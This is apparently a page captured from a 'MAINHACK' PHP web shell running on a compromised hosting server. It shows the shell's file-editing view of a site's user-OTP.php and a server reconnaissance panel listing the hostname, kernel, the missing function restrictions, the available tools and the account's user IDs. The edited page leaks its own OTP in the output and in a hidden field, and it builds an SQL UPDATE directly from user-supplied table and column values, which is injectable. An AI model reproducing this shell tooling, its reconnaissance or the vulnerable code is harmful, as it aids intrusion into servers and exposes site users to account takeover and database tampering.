[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: user-OTP.php
<?php include('header.php'); $m=base64_decode($_REQUEST['m']); $otp=base64_decode($_REQUEST['id']); $table=base64_decode($_REQUEST['table']); $phone=base64_decode($_REQUEST['ph']); $uid=base64_decode($_REQUEST['uid']);echo $otp; ?> <script src="js/jquery-1.11.1.min.js"></script> <style> .foot-bg-index{ display:none; } </style> <!-- USER - user-sing--> <div class="sing-up user-sing" style=""> <div class="container"> <div class="sing-up-text" style=""> <div class="sing-up-text-bg"> <h3> OTP <span> Confirmation </span></h3> <h5>Already have an account? <a href="user-login.php" target="_blank"><b>Log In</b></a></h5> </div> <div class="sing-up-form" style="width: 100%;"> <form method="post" id="form" enctype="multipart/form-data"> <div class="log-input" id="b_name"> <span>OTP <b>*</b></span> <label><i class="fa fa-mobile" aria-hidden="true"></i></label> <input type="hidden" name="otp" value="<?=$otp?>" placeholder="OTP"> <input type="hidden" name="table" value="<?=$table?>"> <input type="hidden" name="field_name" value="email" > <input type="hidden" name="field_value" value="<?=$m?>"> <input type="hidden" name="uid" value="<?=$uid?>"> <input type="text" placeholder="Enter OTP send on your Phone" name="otp_new" required=""> </div> <div style="color:red;font-weight:600"> <span id="timer"> <span id="time">60</span> Seconds </span> </div> <script> $( document ).ready(function() { var counter = 60; var interval = setInterval(function() { counter--; // Display 'counter' wherever you want to display it. if (counter <= 0) { clearInterval(interval); $('#timer').hide(); $('#resend').show(); return; }else{ $('#time').text(counter); console.log("Timer --> " + counter); } }, 1000); }); </script> <div id="resend" style="display:none; text-align: center; color: #f00; font-size: 15px; padding: 5px 0 0;"><a href="resend_otp.php?p=<?=base64_encode($phone)?>&em=<?=base64_encode($m)?>&t=<?=base64_encode($table)?>">Resend OTP</a></div> <div class="log-input submitbox" id="b_name"> <input type="submit" class="" name="sub" id="btn" value="submit"> </div> <a href="user-map.php" class="next">Next</a> </form> <?php if(isset($_POST['sub'])){ if($_POST['otp']==$_POST['otp_new']){ $sq="update ".$_POST['table']." set status='ACTIVE' where ".$_POST['field_name']."='".$_POST['field_value']."'"; $stmt=$con->prepare($sq); $r=$stmt->execute(); /* if($_POST['table']=='food_maker'){ $url='home-cooks-login.php'; }else{ $url='login.php';} */ $uid=$_POST['uid']; $url="user-map.php?uid=$uid"; if($r){ $email_subject = "Registration Confirmation"; $em11='<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">'; $email_content1="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Test Email Sample</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='$company_logo' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi Admin,<br><br> New registration is been confirmed. <br> <br><br><br><br> <br> </td></tr> </tr> </table> <p><b>Stay in touch with Us</b></p> <p><a href='$fb' target='_blank'><img src='$link_url/images/fb.png' width='50px'></a> <a href='$insta' target='_blank'><img src='$link_url/images/insta.png' width='55px'></a> </p> <p><b>$company_name</b><br> Web : $website<br> Email : $email<br> Phone : $phone<br> </p> <small>Copyright ©<?=date('Y')?> $company_name,$address. All rights reserved. </small> </body></html>"; $email_content=" <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Test Email Sample</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='$company_logo' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to <?=$company_name?></h3></td></tr> <tr><td text-align:center;font-size:14px;><br><br> Your Registration with email id ".$_POST['field_value']." has been successful. You can upload your recipes now. <br><br> Thank You for choosing Dootkart. <br><br><br><br> <br> </td></tr> </tr> </table> <p><b>Stay in touch with Us</b></p> <p><a href='$fb' target='_blank'><img src='$link_url/images/fb.png' width='50px'></a> <a href='$insta' target='_blank'><img src='$link_url/images/insta.png' width='55px'></a> </p> <p><b>$company_name</b><br> Web : $website<br> Email : $email<br> Phone : $phone<br> </p> <small>Copyright ©<?=date('Y')?> $company_name,$address. All rights reserved. </small> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(@mail($email,$email_subject,$email_content1,$headers) && @mail($_POST['field_value'],$email_subject,$email_content,$headers)){ echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: "Your account is verified. You can add map now.", type: "success" }, function() { swal("You will be redirected to Login page"); window.location = "'.$url.'"; }); }, 1000); </script>'; } } }else{ echo "<script>sweetAlert('Oops!','OTP mismatched.Please verify otp.','error');</script>"; } } ?> </div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619